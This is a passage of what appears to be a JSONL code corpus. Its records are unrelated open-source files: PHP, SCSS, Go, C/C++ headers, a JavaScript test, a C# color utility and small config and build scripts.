https://github.com/amejiarosario/dsa.js/compare/1.0.0...1.1.0\n[1.0.0]: https://github.com/amejiarosario/dsa.js/releases/tag/1.0.0\n"} +{"text": "mutableScopeConfig = $mutableScopeConfig;\n }\n\n /**\n * @inheritdoc\n */\n public function apply()\n {\n $this->mutableScopeConfig->setValue(self::XML_PATH_USE_FRONTEND_SID, 0, self::SCOPE_STORE);\n }\n\n /**\n * @inheritdoc\n */\n public static function getDependencies()\n {\n return [];\n }\n\n /**\n * @inheritdoc\n */\n public static function getVersion()\n {\n return '2.0.0';\n }\n\n /**\n * @inheritdoc\n */\n public function getAliases()\n {\n return [];\n }\n}\n"} +{"text": "\n ' . $line . '

';\nendforeach;\n?>"} +{"text": "/*!\n * Bootstrap v4.1.3 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"root\";\n@import \"reboot\";\n@import \"type\";\n@import \"images\";\n@import \"code\";\n@import \"grid\";\n@import \"tables\";\n@import \"forms\";\n@import \"buttons\";\n@import \"transitions\";\n@import \"dropdown\";\n@import \"button-group\";\n@import \"input-group\";\n@import \"custom-forms\";\n@import \"nav\";\n@import \"navbar\";\n@import \"card\";\n@import \"breadcrumb\";\n@import \"pagination\";\n@import \"badge\";\n@import \"jumbotron\";\n@import \"alert\";\n@import \"progress\";\n@import \"media\";\n@import \"list-group\";\n@import \"close\";\n@import \"modal\";\n@import \"tooltip\";\n@import \"popover\";\n@import \"carousel\";\n@import \"utilities\";\n@import \"print\";\n"} +{"text": "\n \n \n \n\n\n
form value: {{ fg.formGroup.getRawValue() | json }}
\n"} +{"text": "#!/bin/sh\ngit clone --branch=master --single-branch --depth 1 https://github.com/devkitPro/3ds-examples examples\ncd libctru\ndoxygen Doxyfile\n"} +{"text": "package testsuite\n\nimport (\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n)\n\ntype TestSuite struct {\n\tPath string\n\tPackageName string\n\tIsGinkgo bool\n\tPrecompiled bool\n}\n\nfunc PrecompiledTestSuite(path string) (TestSuite, error) {\n\tinfo, err := os.Stat(path)\n\tif err != nil {\n\t\treturn TestSuite{}, err\n\t}\n\n\tif info.IsDir() {\n\t\treturn TestSuite{}, errors.New(\"this is a directory, not a file\")\n\t}\n\n\tif filepath.Ext(path) != \".test\" {\n\t\treturn TestSuite{}, errors.New(\"this is not a .test binary\")\n\t}\n\n\tif info.Mode()&0111 == 0 {\n\t\treturn TestSuite{}, errors.New(\"this is not executable\")\n\t}\n\n\tdir := relPath(filepath.Dir(path))\n\tpackageName := strings.TrimSuffix(filepath.Base(path), filepath.Ext(path))\n\n\treturn TestSuite{\n\t\tPath: dir,\n\t\tPackageName: packageName,\n\t\tIsGinkgo: true,\n\t\tPrecompiled: true,\n\t}, nil\n}\n\nfunc SuitesInDir(dir string, recurse bool) []TestSuite {\n\tsuites := []TestSuite{}\n\n\tif vendorExperimentCheck(dir) {\n\t\treturn suites\n\t}\n\n\tfiles, _ := ioutil.ReadDir(dir)\n\tre := regexp.MustCompile(`_test\\.go$`)\n\tfor _, file := range files {\n\t\tif !file.IsDir() && re.Match([]byte(file.Name())) {\n\t\t\tsuites = append(suites, New(dir, files))\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif recurse {\n\t\tre = regexp.MustCompile(`^[._]`)\n\t\tfor _, file := range files {\n\t\t\tif file.IsDir() && !re.Match([]byte(file.Name())) {\n\t\t\t\tsuites = append(suites, SuitesInDir(dir+\"/\"+file.Name(), recurse)...)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn suites\n}\n\nfunc relPath(dir string) string {\n\tdir, _ = filepath.Abs(dir)\n\tcwd, _ := os.Getwd()\n\tdir, _ = filepath.Rel(cwd, filepath.Clean(dir))\n\n\tif string(dir[0]) != \".\" {\n\t\tdir = \".\" + string(filepath.Separator) + dir\n\t}\n\n\treturn dir\n}\n\nfunc New(dir string, files []os.FileInfo) TestSuite {\n\treturn TestSuite{\n\t\tPath: relPath(dir),\n\t\tPackageName: packageNameForSuite(dir),\n\t\tIsGinkgo: filesHaveGinkgoSuite(dir, files),\n\t}\n}\n\nfunc packageNameForSuite(dir string) string {\n\tpath, _ := filepath.Abs(dir)\n\treturn filepath.Base(path)\n}\n\nfunc filesHaveGinkgoSuite(dir string, files []os.FileInfo) bool {\n\treTestFile := regexp.MustCompile(`_test\\.go$`)\n\treGinkgo := regexp.MustCompile(`package ginkgo|\\/ginkgo\"`)\n\n\tfor _, file := range files {\n\t\tif !file.IsDir() && reTestFile.Match([]byte(file.Name())) {\n\t\t\tcontents, _ := ioutil.ReadFile(dir + \"/\" + file.Name())\n\t\t\tif reGinkgo.Match(contents) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n"} +{"text": "/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n * This package is an SSL implementation written\n * by Eric Young (eay@cryptsoft.com).\n * The implementation was written so as to conform with Netscapes SSL.\n *\n * This library is free for commercial and non-commercial use as long as\n * the following conditions are aheared to. The following conditions\n * apply to all code found in this distribution, be it the RC4, RSA,\n * lhash, DES, etc., code; not just the SSL code. The SSL documentation\n * included with this distribution is covered by the same copyright terms\n * except that the holder is Tim Hudson (tjh@cryptsoft.com).\n *\n * Copyright remains Eric Young's, and as such any Copyright notices in\n * the code are not to be removed.\n * If this package is used in a product, Eric Young should be given attribution\n * as the author of the parts of the library used.\n * This can be in the form of a textual message at program startup or\n * in documentation (online or textual) provided with the package.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n * \"This product includes cryptographic software written by\n * Eric Young (eay@cryptsoft.com)\"\n * The word 'cryptographic' can be left out if the rouines from the library\n * being used are not cryptographic related :-).\n * 4. If you include any Windows specific code (or a derivative thereof) from\n * the apps directory (application code) you must include an acknowledgement:\n * \"This product includes software written by Tim Hudson (tjh@cryptsoft.com)\"\n *\n * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * The licence and distribution terms for any publically available version or\n * derivative of this code cannot be changed. i.e. this code cannot simply be\n * copied and put under another distribution licence\n * [including the GNU Public Licence.] */\n\n#ifndef OPENSSL_HEADER_STACK_H\n#define OPENSSL_HEADER_STACK_H\n\n#include \n\n#include \n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\n/* A stack, in OpenSSL, is an array of pointers. They are the most commonly\n * used collection object.\n *\n * This file defines macros for type safe use of the stack functions. A stack\n * of a specific type of object has type |STACK_OF(type)|. This can be defined\n * (once) with |DEFINE_STACK_OF(type)| and declared where needed with\n * |DECLARE_STACK_OF(type)|. For example:\n *\n * struct foo {\n * int bar;\n * };\n *\n * DEFINE_STACK_OF(struct foo);\n *\n * Although note that the stack will contain /pointers/ to |foo|.\n *\n * A macro will be defined for each of the sk_* functions below. For\n * STACK_OF(foo), the macros would be sk_foo_new, sk_foo_pop etc. */\n\n\n/* stack_cmp_func is a comparison function that returns a value < 0, 0 or > 0\n * if |*a| is less than, equal to or greater than |*b|, respectively. Note the\n * extra indirection - the function is given a pointer to a pointer to the\n * element. This differs from the usual qsort/bsearch comparison function. */\ntypedef int (*stack_cmp_func)(const void **a, const void **b);\n\n/* stack_st contains an array of pointers. It is not designed to be used\n * directly, rather the wrapper macros should be used. */\ntypedef struct stack_st {\n /* num contains the number of valid pointers in |data|. */\n size_t num;\n void **data;\n /* sorted is non-zero if the values pointed to by |data| are in ascending\n * order, based on |comp|. */\n int sorted;\n /* num_alloc contains the number of pointers allocated in the buffer pointed\n * to by |data|, which may be larger than |num|. */\n size_t num_alloc;\n /* comp is an optional comparison function. */\n stack_cmp_func comp;\n} _STACK;\n\n\n#define STACK_OF(type) struct stack_st_##type\n\n#define DECLARE_STACK_OF(type) STACK_OF(type);\n\n/* The make_macros.sh script in this directory parses the following lines and\n * generates the stack_macros.h file that contains macros for the following\n * types of stacks:\n *\n * STACK_OF:ACCESS_DESCRIPTION\n * STACK_OF:ASN1_ADB_TABLE\n * STACK_OF:ASN1_GENERALSTRING\n * STACK_OF:ASN1_INTEGER\n * STACK_OF:ASN1_OBJECT\n * STACK_OF:ASN1_STRING_TABLE\n * STACK_OF:ASN1_TYPE\n * STACK_OF:ASN1_VALUE\n * STACK_OF:BIO\n * STACK_OF:BY_DIR_ENTRY\n * STACK_OF:BY_DIR_HASH\n * STACK_OF:CONF_VALUE\n * STACK_OF:CRYPTO_BUFFER\n * STACK_OF:CRYPTO_EX_DATA_FUNCS\n * STACK_OF:DIST_POINT\n * STACK_OF:GENERAL_NAME\n * STACK_OF:GENERAL_NAMES\n * STACK_OF:GENERAL_SUBTREE\n * STACK_OF:POLICYINFO\n * STACK_OF:POLICYQUALINFO\n * STACK_OF:POLICY_MAPPING\n * STACK_OF:RSA_additional_prime\n * STACK_OF:SSL_COMP\n * STACK_OF:SSL_CUSTOM_EXTENSION\n * STACK_OF:STACK_OF_X509_NAME_ENTRY\n * STACK_OF:SXNETID\n * STACK_OF:X509\n * STACK_OF:X509V3_EXT_METHOD\n * STACK_OF:X509_ALGOR\n * STACK_OF:X509_ATTRIBUTE\n * STACK_OF:X509_CRL\n * STACK_OF:X509_EXTENSION\n * STACK_OF:X509_INFO\n * STACK_OF:X509_LOOKUP\n * STACK_OF:X509_NAME\n * STACK_OF:X509_NAME_ENTRY\n * STACK_OF:X509_OBJECT\n * STACK_OF:X509_POLICY_DATA\n * STACK_OF:X509_POLICY_NODE\n * STACK_OF:X509_PURPOSE\n * STACK_OF:X509_REVOKED\n * STACK_OF:X509_TRUST\n * STACK_OF:X509_VERIFY_PARAM\n * STACK_OF:void\n *\n * Some stacks contain only const structures, so the stack should return const\n * pointers to retain type-checking.\n *\n * CONST_STACK_OF:SRTP_PROTECTION_PROFILE\n * CONST_STACK_OF:SSL_CIPHER */\n\n\n/* Some stacks are special because, although we would like STACK_OF(char *),\n * that would actually be a stack of pointers to char*, but we just want to\n * point to the string directly. In this case we call them \"special\" and use\n * |DEFINE_SPECIAL_STACK_OF(type)| */\n#define DEFINE_SPECIAL_STACK_OF(type, inner) \\\n STACK_OF(type) { _STACK special_stack; }; \\\n OPENSSL_COMPILE_ASSERT(sizeof(type) == sizeof(void *), \\\n special_stack_of_non_pointer_##type);\n\ntypedef char *OPENSSL_STRING;\n\nDEFINE_SPECIAL_STACK_OF(OPENSSL_STRING, char)\n\n/* The make_macros.sh script in this directory parses the following lines and\n * generates the stack_macros.h file that contains macros for the following\n * types of stacks:\n *\n * SPECIAL_STACK_OF:OPENSSL_STRING */\n\n#define IN_STACK_H\n#include \n#undef IN_STACK_H\n\n\n/* These are the raw stack functions, you shouldn't be using them. Rather you\n * should be using the type stack macros implemented above. */\n\n/* sk_new creates a new, empty stack with the given comparison function, which\n * may be zero. It returns the new stack or NULL on allocation failure. */\nOPENSSL_EXPORT _STACK *sk_new(stack_cmp_func comp);\n\n/* sk_new_null creates a new, empty stack. It returns the new stack or NULL on\n * allocation failure. */\nOPENSSL_EXPORT _STACK *sk_new_null(void);\n\n/* sk_num returns the number of elements in |s|. */\nOPENSSL_EXPORT size_t sk_num(const _STACK *sk);\n\n/* sk_zero resets |sk| to the empty state but does nothing to free the\n * individual elements themselves. */\nOPENSSL_EXPORT void sk_zero(_STACK *sk);\n\n/* sk_value returns the |i|th pointer in |sk|, or NULL if |i| is out of\n * range. */\nOPENSSL_EXPORT void *sk_value(const _STACK *sk, size_t i);\n\n/* sk_set sets the |i|th pointer in |sk| to |p| and returns |p|. If |i| is out\n * of range, it returns NULL. */\nOPENSSL_EXPORT void *sk_set(_STACK *sk, size_t i, void *p);\n\n/* sk_free frees the given stack and array of pointers, but does nothing to\n * free the individual elements. Also see |sk_pop_free|. */\nOPENSSL_EXPORT void sk_free(_STACK *sk);\n\n/* sk_pop_free calls |free_func| on each element in the stack and then frees\n * the stack itself. */\nOPENSSL_EXPORT void sk_pop_free(_STACK *sk, void (*free_func)(void *));\n\n/* sk_insert inserts |p| into the stack at index |where|, moving existing\n * elements if needed. It returns the length of the new stack, or zero on\n * error. */\nOPENSSL_EXPORT size_t sk_insert(_STACK *sk, void *p, size_t where);\n\n/* sk_delete removes the pointer at index |where|, moving other elements down\n * if needed. It returns the removed pointer, or NULL if |where| is out of\n * range. */\nOPENSSL_EXPORT void *sk_delete(_STACK *sk, size_t where);\n\n/* sk_delete_ptr removes, at most, one instance of |p| from the stack based on\n * pointer equality. If an instance of |p| is found then |p| is returned,\n * otherwise it returns NULL. */\nOPENSSL_EXPORT void *sk_delete_ptr(_STACK *sk, void *p);\n\n/* sk_find returns the first value in the stack equal to |p|. If a comparison\n * function has been set on the stack, then equality is defined by it and the\n * stack will be sorted if need be so that a binary search can be used.\n * Otherwise pointer equality is used. If a matching element is found, its\n * index is written to |*out_index| (if |out_index| is not NULL) and one is\n * returned. Otherwise zero is returned. */\nOPENSSL_EXPORT int sk_find(_STACK *sk, size_t *out_index, void *p);\n\n/* sk_shift removes and returns the first element in the stack, or returns NULL\n * if the stack is empty. */\nOPENSSL_EXPORT void *sk_shift(_STACK *sk);\n\n/* sk_push appends |p| to the stack and returns the length of the new stack, or\n * 0 on allocation failure. */\nOPENSSL_EXPORT size_t sk_push(_STACK *sk, void *p);\n\n/* sk_pop returns and removes the last element on the stack, or NULL if the\n * stack is empty. */\nOPENSSL_EXPORT void *sk_pop(_STACK *sk);\n\n/* sk_dup performs a shallow copy of a stack and returns the new stack, or NULL\n * on error. */\nOPENSSL_EXPORT _STACK *sk_dup(const _STACK *sk);\n\n/* sk_sort sorts the elements of |sk| into ascending order based on the\n * comparison function. The stack maintains a |sorted| flag and sorting an\n * already sorted stack is a no-op. */\nOPENSSL_EXPORT void sk_sort(_STACK *sk);\n\n/* sk_is_sorted returns one if |sk| is known to be sorted and zero\n * otherwise. */\nOPENSSL_EXPORT int sk_is_sorted(const _STACK *sk);\n\n/* sk_set_cmp_func sets the comparison function to be used by |sk| and returns\n * the previous one. */\nOPENSSL_EXPORT stack_cmp_func sk_set_cmp_func(_STACK *sk, stack_cmp_func comp);\n\n/* sk_deep_copy performs a copy of |sk| and of each of the non-NULL elements in\n * |sk| by using |copy_func|. If an error occurs, |free_func| is used to free\n * any copies already made and NULL is returned. */\nOPENSSL_EXPORT _STACK *sk_deep_copy(const _STACK *sk,\n void *(*copy_func)(void *),\n void (*free_func)(void *));\n\n\n#if defined(__cplusplus)\n} /* extern C */\n#endif\n\n#endif /* OPENSSL_HEADER_STACK_H */\n"} +{"text": "1\tportuguese\tx-vnd.Haiku-libbe\t3337473349\n{0, plural, one{# byte} other{# bytes}}\tStringForSize\t\t{0, plural, one{# byte} other{# bytes}}\nAll Rights Reserved.\tAboutWindow\t\tTodos os Direitos Reservados.\ngold master\tAboutWindow\t\tgold master\nUndo\tTextView\t\tDesfazer\nOK\tPrintJob\t\tOK\ngamma\tAboutWindow\t\tgama\ndevelopment\tAboutWindow\t\tdesenvolvimento\nOK\tDragger\t\tOK\nPrint Server is not responding.\tPrintJob\t\tO Servidor de Impressão não está a responder.\nAbout %app%\tAboutMenuItem\t\tAcerca de %app%\nWarning\tDragger\t\tAviso\nGreen:\tColorControl\t\tVerde:\nRedo\tTextView\t\tRefazer\nNo pages to print!\tPrintJob\t\tNenhuma página para imprimir!\nbeta\tAboutWindow\t\tbeta\nOK\tZombieReplicantView\t\tOK\nCut\tTextView\t\tCortar\n%3.2f GiB\tStringForSize\t\t%3.2f GiB\nCan't delete this replicant from its original application. Life goes on.\tDragger\t\tNão é possível eliminar este replicante da sua aplicação original. A vida continua.\nError\tZombieReplicantView\t\tErro\nPaste\tTextView\t\tColar\nOK\tAboutWindow\t\tOK\nSpecial Thanks:\tAboutWindow\t\tAgradecimentos Especiais:\n%.2f TiB\tStringForSize\t\t%.2f TiB\nRemove replicant\tDragger\t\tRemover replicante\nVersion\tAboutWindow\t\tVersão\nRed:\tColorControl\t\tVermelho:\n\tMenu\t\t\nCopy\tTextView\t\tCopiar\nSelect all\tTextView\t\tSelecionar tudo\nalpha\tAboutWindow\t\talfa\n%3.2f MiB\tStringForSize\t\t%3.2f MiB\nError\tPrintJob\t\tErro\nAbout %app%\tAboutWindow\t\tAcerca de %app%\nAbout %app…\tDragger\t\tAcerca de %app…\nVersion history:\tAboutWindow\t\tHistórico de versões:\nCannot locate the application for the replicant. No application signature supplied.\\n%error\tZombieReplicantView\t\tNão foi possível encontrar a aplicação para o replicante. Não foi fornecida nenhuma assinatura de aplicação.\\n%error\n%3.2f KiB\tStringForSize\t\t%3.2f KiB\nBlue:\tColorControl\t\tAzul:\nCannot create the replicant for \\\"%description\\\".\\n%error\tZombieReplicantView\t\tNão foi possível criar o replicante para \\\"%description\\\".\\n%error\nWritten by:\tAboutWindow\t\tEscrito por:\n"} +{"text": "{\n \"name\": \"8.3.2\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n },\n \"author\": \"\",\n \"license\": \"BSD-3-Clause\",\n \"dependencies\": {\n \"catbox-redis\": \"1.x.x\",\n \"hapi\": \"13.x.x\",\n \"qs\": \"6.x.x\",\n \"wreck\": \"7.x.x\"\n }\n}\n"} +{"text": "\n/*\n * Utility functions for dealing with libcgroup.\n *\n * This is not meant to replace direct interaction with libcgroup, however\n * it provides some simple initialization and RAII wrappers.\n *\n */\n\n#include \"condor_common.h\"\n\n#if defined(HAVE_EXT_LIBCGROUP)\n\n#include \"condor_debug.h\"\n\n#ifdef HAVE_PTHREADS\n#include \nstatic pthread_mutex_t g_cgroups_mutex = PTHREAD_MUTEX_INITIALIZER;\n#endif\n\n#include \"libcgroup.h\"\n\n#define MEMORY_CONTROLLER_STR \"memory\"\n#define CPUACCT_CONTROLLER_STR \"cpuacct\"\n#define FREEZE_CONTROLLER_STR \"freezer\"\n#define BLOCK_CONTROLLER_STR \"blkio\"\n#define CPU_CONTROLLER_STR \"cpu\"\n\n#include \n\n\nclass Cgroup; //Forward decl\n\nclass CgroupManager {\n\npublic:\n\n\tenum ControllerFlags {\n\t\tNO_CONTROLLERS = 0,\n\t\tMEMORY_CONTROLLER = 1,\n\t\tCPUACCT_CONTROLLER = 2,\n\t\tFREEZE_CONTROLLER = 4,\n\t\tBLOCK_CONTROLLER = 8,\n\t\tCPU_CONTROLLER = 16,\n\t\t// Each time you add a new controller, increase ALL_CONTROLLERS accordingly\n\t\tALL_CONTROLLERS = 32-1,\n\t};\n\n\tstatic CgroupManager &getInstance();\n\n\tbool isMounted(ControllerFlags cf) const {return cf & m_cgroup_mounts;}\n\n\tint create(const std::string& cgroup_string, Cgroup &cgroup,\n\t\tControllerFlags preferred_controllers, ControllerFlags required_controllers,\n\t\tbool own=true, bool retrieve=true);\n\tint destroy(Cgroup&);\n\nprivate:\n\n\tCgroupManager();\n\tCgroupManager(const CgroupManager&);\n\tCgroupManager& operator=(const CgroupManager&);\n\n\tint initialize();\n\n\tint initialize_controller(struct cgroup& cgroup, ControllerFlags controller, const char * controller_str, const bool required, const bool has_cgroup, bool &changed_cgroup) const;\n\n\tControllerFlags m_cgroup_mounts;\n\n\tstatic CgroupManager *m_singleton;\n\n\t// Ref-counting\n\tstd::map cgroup_refs;\n\tstd::map cgroup_created;\n\n#ifdef HAVE_PTHREADS\n\tclass MutexGuard {\n\n\tpublic:\n\t\tMutexGuard(pthread_mutex_t &mutex) : m_mutex(mutex) { pthread_mutex_lock(&m_mutex); }\n\t\t~MutexGuard() {pthread_mutex_unlock(&m_mutex); }\n\n\tprivate:\n\t\tpthread_mutex_t &m_mutex;\n\t};\n\n\tstatic MutexGuard getGuard() { return MutexGuard(g_cgroups_mutex);}\n#else\n\tclass MutexGuard {};\n\tMutexGuard getGuard() { return MutexGuard;};\n#endif\n\n};\n\nclass Cgroup {\n\npublic:\n\tCgroup() : m_cgroup(NULL) {}\n\t~Cgroup();\n\n\t// Using the zombie object pattern as exceptions are not available.\n\tbool isValid() {return m_cgroup != NULL;}\n\tvoid destroy();\n\n\tstruct cgroup& getCgroup() { if (isValid()) {return *m_cgroup;} EXCEPT(\"Accessing invalid cgroup.\"); return *m_cgroup;}\n\tconst std::string &getCgroupString() {return m_cgroup_string;};\nprivate:\n\tstd::string m_cgroup_string;\n\tstruct cgroup *m_cgroup;\n\nprotected:\n\tvoid setCgroupString(const std::string &cgroup_string) {m_cgroup_string = cgroup_string;};\n\tvoid setCgroup(struct cgroup &cgroup);\n\n\tfriend class CgroupManager;\n};\n\nCgroupManager::ControllerFlags operator|(CgroupManager::ControllerFlags left, CgroupManager::ControllerFlags right);\n\nCgroupManager::ControllerFlags operator|=(CgroupManager::ControllerFlags &left, const CgroupManager::ControllerFlags right);\n\n#endif\n\n"} +{"text": "/* The following code is the modified part of the libxslt\n * available at http://xmlsoft.org/libxslt\n * under the terms of the MIT License\n * http://opensource.org/licenses/mit-license.html\n */\n\n/*\n * Summary: interface for the document handling\n * Description: implements document loading and cache (multiple\n * document() reference for the same resources must\n * be equal.\n *\n * Copy: See Copyright for the status of this software.\n *\n * Author: Daniel Veillard\n */\n\n#ifndef __XML_XSLT_DOCUMENTS_H__\n#define __XML_XSLT_DOCUMENTS_H__\n\n#include \n#include \"xsltexports.h\"\n#include \"xsltInternals.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nXSLTPUBFUN xsltDocumentPtr XSLTCALL\t\n\t\txsltNewDocument\t\t(xsltTransformContextPtr ctxt,\n\t\t\t\t\t xmlDocPtr doc);\nXSLTPUBFUN xsltDocumentPtr XSLTCALL\t\n \t\txsltLoadDocument\t(xsltTransformContextPtr ctxt,\n\t\t\t\t\t const xmlChar *URI);\nXSLTPUBFUN xsltDocumentPtr XSLTCALL\t\n \t\txsltFindDocument\t(xsltTransformContextPtr ctxt,\n\t\t\t\t\t xmlDocPtr doc);\nXSLTPUBFUN void XSLTCALL\t\t\n \t\txsltFreeDocuments\t(xsltTransformContextPtr ctxt);\n\nXSLTPUBFUN xsltDocumentPtr XSLTCALL\t\n \t\txsltLoadStyleDocument\t(xsltStylesheetPtr style,\n\t\t\t\t\t const xmlChar *URI);\nXSLTPUBFUN xsltDocumentPtr XSLTCALL\t\n \t\txsltNewStyleDocument\t(xsltStylesheetPtr style,\n\t\t\t\t\t xmlDocPtr doc);\nXSLTPUBFUN void XSLTCALL\t\t\n \t\txsltFreeStyleDocuments\t(xsltStylesheetPtr style);\n\n/*\n * Hooks for document loading\n */\n\n/**\n * xsltLoadType:\n *\n * Enum defining the kind of loader requirement.\n */\ntypedef enum {\n XSLT_LOAD_START = 0,\t/* loading for a top stylesheet */\n XSLT_LOAD_STYLESHEET = 1,\t/* loading for a stylesheet include/import */\n XSLT_LOAD_DOCUMENT = 2\t/* loading document at transformation time */\n} xsltLoadType;\n\n/**\n * xsltDocLoaderFunc:\n * @URI: the URI of the document to load\n * @dict: the dictionary to use when parsing that document\n * @options: parsing options, a set of xmlParserOption\n * @ctxt: the context, either a stylesheet or a transformation context\n * @type: the xsltLoadType indicating the kind of loading required\n *\n * An xsltDocLoaderFunc is a signature for a function which can be\n * registered to load document not provided by the compilation or\n * transformation API themselve, for example when an xsl:import,\n * xsl:include is found at compilation time or when a document()\n * call is made at runtime.\n *\n * Returns the pointer to the document (which will be modified and\n * freed by the engine later), or NULL in case of error.\n */\ntypedef xmlDocPtr (*xsltDocLoaderFunc)\t\t(const xmlChar *URI,\n\t\t\t\t\t\t xmlDictPtr dict,\n\t\t\t\t\t\t int options,\n\t\t\t\t\t\t void *ctxt,\n\t\t\t\t\t\t xsltLoadType type);\n\nXSLTPUBFUN void XSLTCALL\n\t\txsltSetLoaderFunc\t\t(xsltDocLoaderFunc f);\n\n/* the loader may be needed by extension libraries so it is exported */\nXSLTPUBVAR xsltDocLoaderFunc xsltDocDefaultLoader;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* __XML_XSLT_DOCUMENTS_H__ */\n"} +{"text": "/* eslint-env mocha */\n\nconst path = require('path');\nconst should = require('should');\n\nconst { openDb, closeDb } = require('../../lib/db');\nconst gtfs = require('../..');\n\nconst config = {\n agencies: [{\n agency_key: 'caltrain',\n path: path.join(__dirname, '../fixture/caltrain_20160406.zip')\n }],\n verbose: false\n};\n\ndescribe('gtfs.getFareRules():', () => {\n before(async () => {\n await openDb(config);\n await gtfs.import(config);\n });\n\n after(async () => {\n await closeDb();\n });\n\n it('should return empty array if no fare_rules', async () => {\n const routeId = 'not_real';\n\n const results = await gtfs.getFareRules({\n route_id: routeId\n });\n should.exists(results);\n results.should.have.length(0);\n });\n\n it('should return expected fare_rules', async () => {\n const routeId = 'Bu-16APR';\n\n const results = await gtfs.getFareRules({\n route_id: routeId\n }, [\n 'fare_id',\n 'route_id',\n 'origin_id',\n 'destination_id'\n ]);\n\n const expectedResult = {\n fare_id: 'OW_2_20160228',\n route_id: 'Bu-16APR',\n origin_id: '6',\n destination_id: '5'\n };\n\n should.exist(results);\n results.length.should.equal(36);\n results.should.containEql(expectedResult);\n });\n});\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Drawing;\nusing System.Linq;\nusing System.Runtime.Serialization;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace ElectronicObserver.Utility.Storage\n{\n\n\t/// \n\t/// シリアル化可能な を扱います。\n\t/// \n\t[DataContract(Name = \"SerializableColor\")]\n\t[DebuggerDisplay(\"{ColorData}\")]\n\tpublic class SerializableColor : IEquatable\n\t{\n\n\t\t[IgnoreDataMember]\n\t\tpublic Color ColorData { get; set; }\n\n\n\t\tpublic SerializableColor()\n\t\t{\n\t\t\tColorData = Color.Black;\n\t\t}\n\n\t\tpublic SerializableColor(Color color)\n\t\t{\n\t\t\tColorData = color;\n\t\t}\n\n\t\tpublic SerializableColor(string attribute)\n\t\t{\n\t\t\tSerializedColor = attribute;\n\t\t}\n\n\t\tpublic SerializableColor(uint colorCode)\n\t\t{\n\t\t\tColorData = UIntToColor(colorCode);\n\t\t}\n\n\n\t\t[DataMember]\n\t\tpublic string SerializedColor\n\t\t{\n\t\t\tget { return ColorToString(ColorData); }\n\t\t\tset { ColorData = StringToColor(value); }\n\t\t}\n\n\t\t[IgnoreDataMember]\n\t\tpublic uint ColorCode\n\t\t{\n\t\t\tget { return ColorToUint(ColorData); }\n\t\t\tset { ColorData = UIntToColor(value); }\n\t\t}\n\n\n\t\tpublic static implicit operator Color(SerializableColor color)\n\t\t{\n\t\t\tif (color == null) return UIntToColor(0);\n\t\t\treturn color.ColorData;\n\t\t}\n\n\t\tpublic static implicit operator SerializableColor(Color color)\n\t\t{\n\t\t\treturn new SerializableColor(color);\n\t\t}\n\n\n\t\tpublic static Color StringToColor(string value)\n\t\t{\n\t\t\tif (value == null || value == string.Empty || !uint.TryParse(value, System.Globalization.NumberStyles.HexNumber, null, out uint i))\n\t\t\t\treturn UIntToColor(0);\n\n\t\t\treturn UIntToColor(i);\n\t\t}\n\n\t\tpublic static Color UIntToColor(uint color)\n\t\t{\n\t\t\treturn Color.FromArgb(\n\t\t\t\t(int)((color >> 24) & 0xFF),\n\t\t\t\t(int)((color >> 16) & 0xFF),\n\t\t\t\t(int)((color >> 8) & 0xFF),\n\t\t\t\t(int)((color >> 0) & 0xFF));\n\t\t}\n\n\t\tpublic static string ColorToString(Color color)\n\t\t{\n\t\t\treturn ColorToUint(color).ToString(\"X8\");\n\t\t}\n\n\t\tpublic static uint ColorToUint(Color color)\n\t\t{\n\t\t\treturn\n\t\t\t\t((uint)(color.A) << 24) |\n\t\t\t\t((uint)(color.R) << 16) |\n\t\t\t\t((uint)(color.G) << 8) |\n\t\t\t\t((uint)(color.B) << 0);\n\n\t\t}\n\n\t\tpublic bool Equals(SerializableColor other) => SerializedColor == other?.SerializedColor;\n\n\t}\n\n}\n"} +{"text": "/*\n * Copyright 2020 The Magma Authors.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 